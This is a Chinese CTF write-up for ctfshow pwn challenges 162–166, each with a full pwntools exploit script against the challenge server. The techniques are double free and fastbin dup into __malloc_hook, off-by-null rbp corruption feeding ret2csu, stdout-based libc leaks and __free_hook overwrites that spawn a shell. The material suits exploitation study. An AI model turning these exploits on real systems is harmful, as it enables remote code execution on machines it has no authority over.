CTFshow 刷题记录 162-...持续更新

First Post:

Last Update:

Page View: loading...

ctfshow-pwn-166

一道简单的double free

直接贴exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'

psl = lambda data : p.sendline(data)
ps = lambda data : p.send(data)
pc = lambda data : p.recvuntil(data)
ph = lambda name,data : print(f"||{name} = "+hex(data))
uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))
binary_name = './pwn166'

HOST = "pwn.challenge.ctf.show"
PORT = 28282
choice = input("Please input yes->Process,no->Remote")
if "y" in choice:
p = process(binary_name)
elif "n" in choice:
p = remote(HOST,PORT)
libc_name = 'libc-2.23.so'
libc = ELF(libc_name)
e = ELF(binary_name)
def bug():
gdb.attach(p)
pause()
def cmd(choice):
pc("Input your choice:")
psl(str(choice))
def add(size,name,idx):
cmd(1)
pc("Please input the size of the flag")
psl(str(size))
pc("please input the flag name:")
psl(name)
pc("please input the flag idx:")
psl(str(idx))

def show(idx):
cmd(2)
pc("Please input the index:")
psl(str(idx))
def delete(idx):
cmd(4)
pc("Please input the index:")
psl(str(idx))

#========== Exploit 开始 ==========
def exp():
heap = 0x202060
puts_got = e.got['puts']
add(0x80,b'1angx',0)
add(0x10,b'1angx',1)
#add(0x10,b'fake',2)
delete(0)
show(0)
malloc_hook = uu64()-0x68
ph("malloc_hook",malloc_hook)
base = malloc_hook - libc.sym['__malloc_hook']
#libc =LibcSearcher("__malloc_hook",malloc_hook)
#base = malloc_hook - libc.dump("__malloc_hook")
ph("base",base)

#realloc = base + libc.dump("realloc")
realloc = base + libc.sym['realloc']
ph("realloc",realloc)
onegg = [0x45216,0x4526a,0xef9f4,0xf1147 ]
ogg = base + onegg[3]
ph("ogg",ogg)
fake_chunk = malloc_hook - 0x23
add(0x60,b'engo',2)
add(0x68,b'2angx',3)
add(0x68,b'3angx',4)
delete(3)
delete(4)
delete(3)
add(0x68,p64(fake_chunk),5)
add(0x68,b'4angx',6)
add(0x68,b'5angx',7)
p1 = b'a'*3+p64(0)+p64(ogg)+p64(realloc+8)
add(0x68,p1,8)

#bug()
cmd(1)
exp()
p.interactive()

"""
for i in range(100):
p = remote(HOST,PORT)
exp(i)
sleep(0.5)
psl("cat flag")
a = p.recvline()
if a in b'flag':
p.interactive()
else:
p.close()
"""

"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""

ctfshow-pwn-165

堆利用里面放一个栈题也是没话说

先checksec一下吧

1
2
3
4
5
6
7
8
> checksec pwn165
[*] '/home/jian/Desktop/jiaoben/ctfshow/heap_qianzhi/pwn165/pwn165'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

没啥保护,看看ida

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
int v4; // [rsp+Ch] [rbp-14h] BYREF
const char *v5; // [rsp+10h] [rbp-10h]
char *v6; // [rsp+18h] [rbp-8h]

init_0(a1, a2, a3);
ctfshow();
v5 = "%d";
change();
v6 = (char *)sub_400D56();
menu();
while ( 1 )
{
printf("> ");
if ( (int)_isoc99_scanf(v5, &v4) <= 0 )
break;
switch ( v4 )
{
case 1:
printf("Note:");
v6 = edit();
break;
case 2:
printf("Note:%s\n", v6); // show
break;
case 3:
save(v6);
puts("Saved!");
break;
case 4:
fclose(stream);
v3 = (const char *)sub_400B66(&unk_602040);
unlink(v3);
change();
puts("Done!");
break;
case 5:
if ( stream )
fclose(stream);
exit(0);
default:
puts("Invalid choice");
break;
}
}
exit(0);
}

edit:

1
2
3
4
5
6
7
char *edit()
{
char s[256]; // [rsp+0h] [rbp-100h] BYREF

_isoc99_scanf("%256s", s);
return strdup(s);
}

乍一看以为没有溢出,但是这个是_isoc99_scanf()函数,当我们读取字符串时,会在末尾自动添加 \0

这就造成了一个off_by_null

那有这个能干啥呢,调试看看

运行到edit输入部分

1
2
3
► 0x400e22    call   __isoc99_scanf@plt          <__isoc99_scanf@plt>
format: 0x401619 ◂— 0x6e49007336353225 /* '%256s' */
vararg: 0x7fffffffdd48 —▸ 0x400a70 ◂— xor ebp, ebp

我们先看看此时stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> stack 34
00:0000│ rsi rsp 0x7fffffffdd48 —▸ 0x400a70 ◂— xor ebp, ebp
01:0008│-0f8 0x7fffffffdd50 —▸ 0x7fffffffdf50 ◂— 1
02:0010│-0f0 0x7fffffffdd58 ◂— 0
03:0018│-0e8 0x7fffffffdd60 ◂— 0
04:0020│-0e0 0x7fffffffdd68 —▸ 0x7fffffffde78 —▸ 0x7fffffffde70 —▸ 0x604280 ◂— 8
05:0028│-0d8 0x7fffffffdd70 —▸ 0x7ffff72558a9 (printf+153) ◂— add rsp, 0xd8
06:0030│-0d0 0x7fffffffdd78 —▸ 0x603040 ◂— 0xfbad2490
07:0038│-0c8 0x7fffffffdd80 ◂— 0x3000000008
08:0040│-0c0 0x7fffffffdd88 —▸ 0x7fffffffde58 —▸ 0x400a70 ◂— xor ebp, ebp
09:0048│-0b8 0x7fffffffdd90 —▸ 0x7fffffffdd98 ◂— 0
0a:0050│-0b0 0x7fffffffdd98 ◂— 0
0b:0058│-0a8 0x7fffffffdda0 ◂— 1
0c:0060│-0a0 0x7fffffffdda8 —▸ 0x7ffff75c6790 ◂— 0
0d:0068│-098 0x7fffffffddb0 ◂— 0x10
0e:0070│-090 0x7fffffffddb8 ◂— 0
... ↓ 2 skipped
11:0088│-078 0x7fffffffddd0 —▸ 0x7ffff727a419 (_IO_do_write+121) ◂— mov r13, rax
12:0090│-070 0x7fffffffddd8 ◂— 7
13:0098│-068 0x7fffffffdde0 —▸ 0x7ffff75c5620 (_IO_2_1_stdout_) ◂— 0xfbad2887
14:00a0│-060 0x7fffffffdde8 ◂— 0xa /* '\n' */
15:00a8│-058 0x7fffffffddf0 —▸ 0x401611 ◂— xor eax, 0x7845202e /* '5. Exit' */
16:00b0│-050 0x7fffffffddf8 —▸ 0x7fffffffdf50 ◂— 1
17:00b8│-048 0x7fffffffde00 —▸ 0x7ffff727a82b (_IO_file_overflow+235) ◂— cmp eax, -1
18:00c0│-040 0x7fffffffde08 ◂— 7
19:00c8│-038 0x7fffffffde10 —▸ 0x7ffff75c5620 (_IO_2_1_stdout_) ◂— 0xfbad2887
1a:00d0│-030 0x7fffffffde18 —▸ 0x401611 ◂— xor eax, 0x7845202e /* '5. Exit' */
1b:00d8│-028 0x7fffffffde20 —▸ 0x7ffff726f80a (puts+362) ◂— cmp eax, -1
1c:00e0│-020 0x7fffffffde28 ◂— 0
1d:00e8│-018 0x7fffffffde30 —▸ 0x7fffffffde48 —▸ 0x7fffffffde78 —▸ 0x7fffffffde70 —▸ 0x604280 ◂— ...
1e:00f0│-010 0x7fffffffde38 —▸ 0x400a70 ◂— xor ebp, ebp
1f:00f8│-008 0x7fffffffde40 —▸ 0x400d53 ◂— nop
20:0100│ rbp 0x7fffffffde48 —▸ 0x7fffffffde78 —▸ 0x7fffffffde70 —▸ 0x604280 ◂— 8
21:0108│+008 0x7fffffffde50 —▸ 0x400f73 ◂— mov qword ptr [rbp - 8], rax

我们的offbynull就可以修改rbp的末位字节为00

还记得我们第一次输入菜单的时候

1
2
3
4
5
6
7
8
v5 = "%d";//很可疑
change();
v6 = (char *)sub_400D56();
menu();
while ( 1 )
{
printf("> ");
if ( (int)_isoc99_scanf(v5, &v4) <= 0 )

这里为啥还要定义一个v5,看看汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0000000000400F0D loc_400F0D:                             ; CODE XREF: main:loc_401013↓j
.text:0000000000400F0D mov edi, offset asc_401637 ; "> "
.text:0000000000400F12 mov eax, 0
.text:0000000000400F17 call printf
.text:0000000000400F1C lea rdx, [rbp+var_14]
.text:0000000000400F20 mov rax, [rbp+var_10] ;利用rbp寻址,var_10就是v5,那么我们就可以将v5的%d修改为%256s
.text:0000000000400F24 mov rsi, rdx
.text:0000000000400F27 mov rdi, rax
.text:0000000000400F2A mov eax, 0
.text:0000000000400F2F call __isoc99_scanf
.text:0000000000400F34 test eax, eax
.text:0000000000400F36 jg short loc_400F42
.text:0000000000400F38 mov edi, 0 ; status
.text:0000000000400F3D call exit

这里的一参是用rbp寻址的,那么我们就可以通过off by null修改这一值为%256s来打ret2csu来泄露libc,后面直接相同步骤getshell了

(为什么不打ret2libc,因为puts_plt表里的值为400A00会被__isoc99_scanf截断,ret2csu我们是只需要got的)

先贴一下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'

psl = lambda data : p.sendline(data)
ps = lambda data : p.send(data)
pc = lambda data : p.recvuntil(data)
ph = lambda data : print(hex(data))
uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))
binary_name = './pwn165'
HOST = "pwn.challenge.ctf.show"
PORT = 28191
choice = input("Please input yes->Process,no->Remote")
if "y" in choice:
p = process(binary_name)
elif "n" in choice:
p = remote(HOST,PORT)

e = ELF(binary_name)
def bug():
gdb.attach(p)
pause()

# ========== Exploit 开始 ==========
def cmd(data):
pc(">")
psl(str(data))

def edit(data):
cmd(1)
pc("Note:")
ps(data)

def show():
cmd(2)

def save():
cmd(3)

def change(ID):
cmd(4)
pc("Input your ID:")
psl(str(ID))

def exp():
gadget1=0x401060
gadget2=0x40107a
rdi = 0x00000000401083
ret = 0x00000000004009b1
fmt = 0x401619
puts_plt = 0x400A00
puts_got = e.got['puts']
main = 0x400EB0

p.recvuntil("Input your ID:")
psl(str("jian"))
print("\033[5;32m[+]=====put the fmt into rbp-0x10=====\033[0m")
p1 = b'a'*0xa8+p64(fmt)+p64(0)*2

edit(p1.ljust(0x100,b'\x00'))

print("\033[5;32m[+]=====start ret2csu=====\033[0m")

p2 = b'b'*(0x64)+p64(gadget2)+p64(0)+p64(1)+p64(e.got['puts'])+p64(0)+p64(0)+p64(e.got['puts'])+p64(gadget1)+b'b'*(0x38)+p64(main)
psl(p2.ljust(0x100,b'a'))

print("\033[5;32m[+]=====leak the libc=====\033[0m")

puts_addr = uu64()
ph(puts_addr)
libc = ELF("./libc-2.23.so")
base = puts_addr - libc.sym["puts"]
system = base + libc.sym["system"]
binsh = base + next(libc.search("/bin/sh"))
ph(base)
ph(system)
print("\033[5;32m[+]=====get shell=====\033[0m")

p.recvuntil("Input your ID:")
psl(str("jian"))
p1 = b'a'*0xa8+p64(fmt)+p64(0)*2

edit(p1.ljust(0x100,b'\x00'))

p3 = b'w'*0x64 +p64(rdi)+p64(binsh)+p64(system)
psl(p3.ljust(0x100,b'a'))
#bug()


exp()
p.interactive()

修改v5 = %256s

1
2
3
4
5
6
00:0000│ rsp 0x7fffffffde48 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 20 skipped
15:00a8│-058 0x7fffffffdef0 —▸ 0x401619 ◂— and eax, 0x73363532 /* '%256s'的地址 */
16:00b0│-050 0x7fffffffdef8 ◂— 0
... ↓ 9 skipped
20:0100│ rbp 0x7fffffffdf48 —▸ 0x7fffffffdf00 ◂— 0 ;寻址是rbp-0x10所以要在0x7fffffffdef0布置'%256s'的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 RAX  0x401619 ◂— and eax, 0x73363532 /* '%256s' */ ;后面会赋值给rdi
RBX 0
RCX 0x7ffff72f73c0 (write+16) ◂— cmp rax, -0xfff
RDX 0x7fffffffdeec ◂— 0x40161961616161
RDI 1
*RSI 0x7fffffffdeec ◂— 0x40161961616161
R8 0x7ffff7fde700 ◂— 0x7ffff7fde700
R9 2
R10 0x6161616161616161 ('aaaaaaaa')
R11 0x246
R12 0x400a70 ◂— xor ebp, ebp
R13 0x7fffffffe010 ◂— 1
R14 0
R15 0
RBP 0x7fffffffdf00 ◂— 0 ;注意此时rbp为0x7fffffffdf00
RSP 0x7fffffffdf58 —▸ 0x400eb0 ◂— push rbp
*RIP 0x400f27 ◂— mov rdi, rax
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────
0x400f12 mov eax, 0 EAX => 0
0x400f17 call printf@plt <printf@plt>

0x400f1c lea rdx, [rbp - 0x14] RDX => 0x7fffffffdeec ◂— 0x40161961616161
0x400f20 mov rax, qword ptr [rbp - 0x10] RAX, [0x7fffffffdef0] => 0x401619 ◂— and eax, 0x73363532 /* '%256s' */
0x400f24 mov rsi, rdx RSI => 0x7fffffffdeec ◂— 0x40161961616161
► 0x400f27 mov rdi, rax RDI => 0x401619 ◂— and eax, 0x73363532 /* '%256s' */
0x400f2a mov eax, 0 EAX => 0
0x400f2f call __isoc99_scanf@plt <__isoc99_scanf@plt>

至于p2的偏移为什么是0x64,请看下文

这是调试到我们修改完v5 = %256s之后,rsp指向的返回地址为0x400f73,记住这rsp 0x7fffffffdf50

ctfshow165

继续执行到下一次读入选项

ctfshowpwn165

此时我们读入的地址为0x7fffffffdeec,刚好0x7fffffffdf50-0x7fffffffdeec = 0x64

si进去调到最后,可以看见此时的返回地址也是0x7fffffffdf50,所以偏移就是0x64

1
2
3
4
0x7ffff726b646 <__isoc99_scanf+358>    ret                                <0x40107a>
-------------------------------
stack
00:0000│ rsp 0x7fffffffdf50 —▸ 0x40107a ◂— pop rbx

后面的话就是正常的ret2csu了就不讲了

最后在贴一下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'

psl = lambda data : p.sendline(data)
ps = lambda data : p.send(data)
pc = lambda data : p.recvuntil(data)
ph = lambda data : print(hex(data))
uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))
binary_name = './pwn165'
HOST = "pwn.challenge.ctf.show"
PORT = 28191
choice = input("Please input yes->Process,no->Remote")
if "y" in choice:
p = process(binary_name)
elif "n" in choice:
p = remote(HOST,PORT)

e = ELF(binary_name)
def bug():
gdb.attach(p)
pause()

# ========== Exploit 开始 ==========
def cmd(data):
pc(">")
psl(str(data))

def edit(data):
cmd(1)
pc("Note:")
ps(data)

def show():
cmd(2)

def save():
cmd(3)

def change(ID):
cmd(4)
pc("Input your ID:")
psl(str(ID))

def exp():
gadget1=0x401060
gadget2=0x40107a
rdi = 0x00000000401083
ret = 0x00000000004009b1
fmt = 0x401619
puts_plt = 0x400A00
puts_got = e.got['puts']
main = 0x400EB0

p.recvuntil("Input your ID:")
psl(str("jian"))
print("\033[5;32m[+]=====put the fmt into rbp-0x10=====\033[0m")
p1 = b'a'*0xa8+p64(fmt)+p64(0)*2

edit(p1.ljust(0x100,b'\x00'))

print("\033[5;32m[+]=====start ret2csu=====\033[0m")

p2 = b'b'*(0x64)+p64(gadget2)+p64(0)+p64(1)+p64(e.got['puts'])+p64(0)+p64(0)+p64(e.got['puts'])+p64(gadget1)+b'b'*(0x38)+p64(main)
psl(p2.ljust(0x100,b'a'))

print("\033[5;32m[+]=====leak the libc=====\033[0m")

puts_addr = uu64()
ph(puts_addr)
libc = ELF("./libc-2.23.so")
base = puts_addr - libc.sym["puts"]
system = base + libc.sym["system"]
binsh = base + next(libc.search("/bin/sh"))
ph(base)
ph(system)
print("\033[5;32m[+]=====get shell=====\033[0m")

p.recvuntil("Input your ID:")
psl(str("jian"))
p1 = b'a'*0xa8+p64(fmt)+p64(0)*2

edit(p1.ljust(0x100,b'\x00'))

p3 = b'w'*0x64 +p64(rdi)+p64(binsh)+p64(system)
psl(p3.ljust(0x100,b'a'))
#bug()


exp()
p.interactive()

ctfshow-pwn-164

这是一道2.27的堆题

main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax

sub_A5C(a1, a2, a3);
sub_AD0();
while ( 1 )
{
menu();
v3 = his_read();
switch ( v3 )
{
case 2:
delete();
break;
case 1433233:
transform();
break;
case 1:
add();
break;
default:
puts("Invalid Choice");
break;
}
}
}

add():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 add()
{
unsigned int size; // [rsp+4h] [rbp-Ch]
size_t size_4; // [rsp+8h] [rbp-8h]

size_4 = __readfsqword(0x28u);
puts("Size?");
size = his_read();
ptr = realloc(ptr, size);
puts("Content?");
read(0, ptr, size);
puts("Done");
return __readfsqword(0x28u) ^ size_4;
}

delete():

1
2
3
4
5
6
7
8
9
unsigned __int64 sub_C2C()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
free(ptr); // uaf
puts("Done");
return __readfsqword(0x28u) ^ v1;
}

transform:

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 sub_9F9()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
if ( dword_202050 )
exit(-1);
dword_202050 = 1;
ptr = 0LL;
puts("Done");
return __readfsqword(0x28u) ^ v1;
}

掌握的信息:

  • delete函数中存在uaf的,

  • libc为2.27最初的一版,可以直接double free,

  • 程序用realloc来申请chunk的。

  • transform可以把ptr=0,但是只有一次机会

这里先提一下realloc的特性:

  • ptr == nullptr的时候,相当于malloc(size), 返回分配到的地址
  • ptr != nullptr && size == 0的时候,相当于free(ptr),返回空指针
  • size小于原来ptr所指向的内存的大小时,直接缩小,返回ptr指针。被削减的那块内存会被释放,放入对应的bins中去
  • size大于原来ptr所指向的内存的大小时,如果原ptr所指向的chunk后面又足够的空间,那么直接在后面扩容,返回ptr指针;如果后面空间不足,先释放ptr所申请的内存,然后试图分配size大小的内存,返回分配后的指针

根据realloc的特性我们可以将ptr=0,达到申请多个chunk的目的,还可以进行溢出

思路:

  1. 先申请三个不同大小的chunk,chunk2为符合unsortedbin大小的chunk(我们得获取main_arena将其修改为IO_stdout),然后释放7次chunk2,填满tcachebins,然后释放将chunk2挂进unsortedbin中,使其与tcachebin重合
  2. 然后申请回chunk1,将ptr->chunk1,这时扩展chunk1使其可以溢出到chunk2修改其fd指针为IO_stdout(后三位字节是不变的,运行exp得多试)将其挂进bins,随后将ptr清零,打tcachebins dup,修改stdout的flag和write_base泄露出libc
  3. 与上面一样的方法打_free_hook->one_gadget

在exp中有更详细的注释

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context.log_level = 'debug'

psl = lambda data : p.sendline(data)
ps = lambda data : p.send(data)
pc = lambda data : p.recvuntil(data)
ph = lambda data : print(hex(data))


p = process('./pwn164')
e = ELF('./pwn164')
#p = remote("pwn.challenge.ctf.show",28120)
def bug():
gdb.attach(p)
pause()

def cmd(choice):
pc("Choice:")
psl(str(choice))

def add(size, content=b'\xa0'):
cmd(1)
pc("Size?")
psl(str(size))

if size > 0:
if content == b'\xa0':
pc("Content?")
ps(content)
return
pc("Content?")
ps(content)
def delete():
cmd(2)

def transform():
cmd(1433233)

def fill():
add(0x80,p64(0)+p64(0x1))
delete()
def exp():
gadget=[0x4f2be,0x4f2c5,0x4f322,0x10a38c]
magic = 0x0FBAD1887
offest = b'\x60\xc7'
add(0x20,b'aaaa') # chunk1
add(0,b'')
add(0x90,b'aaaa') # chunk2
add(0,b'')
add(0x10,p64(0)+p64(0x1)) # chunk3
add(0,b'')
add(0x90,p64(0)+p64(0x1)) # ptr->chunk2

print("\x1B[5;31m[+]==========fill the tcachebins==========[+]\x1B[0m")

for i in range(7):
delete()
add(0,b'') #let the chunk2_addr in unsortedbins to get main arena and let the ptr = 0
add(0x20,b'1') #apply the chunk1 back,ptr = chunk1_addr
#chunks bu ju is :chunk1 0x31 chunk2 0xa1 chunk3 0x21 now
print("\x1B[5;31m[+]==========leak the libc==========[+]\x1B[0m")

add(0x60,p64(0)*5+p64(0x91)+offest) #chunk1 is 0x71 now filled it and yichu to change the main_arena to be the _IO_stdout_addr
add(0,b'') # free chunk1 ptr =0

add(0x90,offest) # apply the tcachebin chunk this chunk --> _IO_stdout, ptr = chunk2_addr
add(0,b'')#_IO_list_stdout_addr is into tcachebins now,we need to make ptr =0, but we can't change _IO_list_stdout 's bins,so this is why we need to change chunk2'size to 0x91. We aim to don't break bins relationship
bug()
sleep(1)
add(0x90,p64(magic)+ p64(0) * 3 + p8(0x58))#IO ATTACK to leak the libc

#pause()

leak_libc = u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))
ph(leak_libc)

libc = ELF("./libc-2.27.so")
base = leak_libc - libc.sym['_IO_file_jumps']
ph(base)
ogg = base + gadget[2]
free_hook = base + libc.sym['__free_hook']

print("\x1B[5;31m[+]==========double free --> free_hook --> one_gadget==========[+]\x1B[0m")
transform()#ptr =0

add(0x30,b'aaaa')#this method is as above,i don't explain more
add(0,b'')
add(0xa0,b'aaaa')
add(0,b'')
add(0x10,b'aaaa')
add(0,b'')
add(0xa0,b'aaaa')#da tcache bin dup
for i in range(7):
delete()
add(0,b'')
add(0x30,b'aaaa')
add(0x60,b'a'*0x38+p64(0x71)+p64(free_hook-0x8))
#bug()
add(0)
#delete()
add(0xa0)
add(0)
add(0xa0,p64(0)+p64(ogg))
#bug()
delete()

p.interactive()



if __name__ == '__main__':
exp()

参考链接:roarctf_2019_realloc_magic - LynneHuan - 博客园

ctfshow-pwn-163

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import*
choice = input("please input yes or no ,yes is process no is remote!\n")
if "y" in choice:
p = process("./pwn163")
elif "n" in choice :
p = remote("pwn.challenge.ctf.show",28292)
libc = ELF("./libc-2.23.so")
psl = lambda data : p.sendline(data)
ps = lambda data : p.send(data)
pc = lambda data : p.recvuntil(data)
ph = lambda data : print(hex(data))

def bug():
gdb.attach(p)
pause()

def cmd(choose):
pc("Command: ")
psl(str(choose))
def add(size):
cmd(1)
pc("Size: ")
psl(str(size))


def edit(idx,size,content):
cmd(2)
pc("Index: ")
psl(str(idx))
pc("Size: ")
psl(str(size))
pc("Content: ")
ps(content)

def delete(idx):
cmd(3)
pc("Index: ")
psl(str(idx))

def show(idx):
cmd(4)
pc("Index: ")
psl(str(idx))




def exp():
print("\x1B[5;31m[+]==start chunk overlapping==[+]\x1B[0m")

add(0x10)#0
add(0x90)#1
add(0x90)#2
add(0x10)#3
edit(0,0x20,b'a'*0x10+p64(0)+p64(0x141))
delete(1)
add(0x90)#4

print("\x1B[5;31m[+]==========leak the libc==========[+]\x1B[0m")
show(2)
malloc_hook = u64(pc(b'\x7f')[-6:].ljust(8,b"\x00"))-0x68
ph(malloc_hook)
base = malloc_hook-libc.sym["__malloc_hook"]
free_hook = base+libc.sym["__free_hook"]
realloc = base + libc.sym['realloc']
ph(realloc)
realloc_hook = malloc_hook - 0x8
ogg = [0x45216,0x4526a,0xf02a4,0xf1147]
ogg = base + ogg[1]
ph(base)
ph(ogg)
add(0x90)

add(0x68)#5


add(0x68)#6

delete(6)
delete(5)
pay = b'b'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-0x23)
edit(3,len(pay),pay)

add(0x68)
add(0x68)
p1 = p64(0)+b'\x00\x00\x00'+p64(ogg)+p64(realloc+10)
edit(6,len(p1),p1)

#bug()
add(0x10)

p.interactive()

exp()

ctfshow-pwn-162

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import*
context(log_level='debug')
p = remote('pwn.challenge.ctf.show',28154)
#p = process('./pwn162')
ph = lambda data : print(hex(data))
def add(size,name):
p.recvuntil("Your choice : ")
p.sendline(b'1')
p.recvuntil("size of the daniu's name: ")
p.sendline(str(size))
p.recvuntil("daniu's name:")
p.send(name)
p.recvuntil("daniu's message:")
p.sendline(b'xxxx')

def add2(p1):
p.recvuntil("Your choice : ")
p.sendline(b'1')
p.recvuntil("size of the daniu's name: ")
p.sendline(str(0x68))
p.recvuntil("daniu's name:")
p.send(p1)


def delete(idx):
p.recvuntil("Your choice : ")
p.sendline(b'3')
p.recvuntil("daniu's index:")
p.sendline(str(idx))

def bug():
gdb.attach(p)
pause()


offest = 0xa55
add(0x20,b'jian')#0
add(0x68,b'lian')#1
add(0x68,b'lian')#2
add(0x7f,b'jian')#3
add(0x18,b'jian')#4
#add(0x7f,b'jian',b'aaaa')#4

delete(0)
delete(3)
#delete(0)

#add(0x7f,b'\xee',b'wt1122f')
add(0x60,b'\xdd\x25')

#add(0x20,p64(0x00000000202020),b'add')
delete(1)
delete(2)
delete(1)#double free
add(0x68,b'\xd0')
add(0x68,b'\xd0')
add(0x68,b'\xd0')
add(0x68,b'\xd0')
p1=b'a'*(51)+p64(0xfbad1800)+p64(0)*3+b'\x00'
add2(p1)
_IO_2_1_stderr_192 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = ELF("./libc-2.23(64).so")
print(hex(_IO_2_1_stderr_192))
base = _IO_2_1_stderr_192 - libc.sym['_IO_2_1_stderr_']-192
ph(base)
realloc = base + libc.sym['realloc']
malloc_hook = base + libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 0x23
ph(malloc_hook)
p.recv()
p.sendline(b'xxxx')
one_gadgets = [0x45216,0x4526a]
ogg = one_gadgets[0] +base
delete(1)
delete(2)
delete(1)
add(0x68,p64(fake_chunk))
add(0x68,p64(fake_chunk))
add(0x68,p64(fake_chunk))
p2 = b'a'*(0x13-0x8)+p64(0) +p64(ogg)
add(0x68,p2)
p.recvuntil("Your choice : ")
p.sendline(b'1')
p.sendline('cat flag')
#bug()
p.interactive()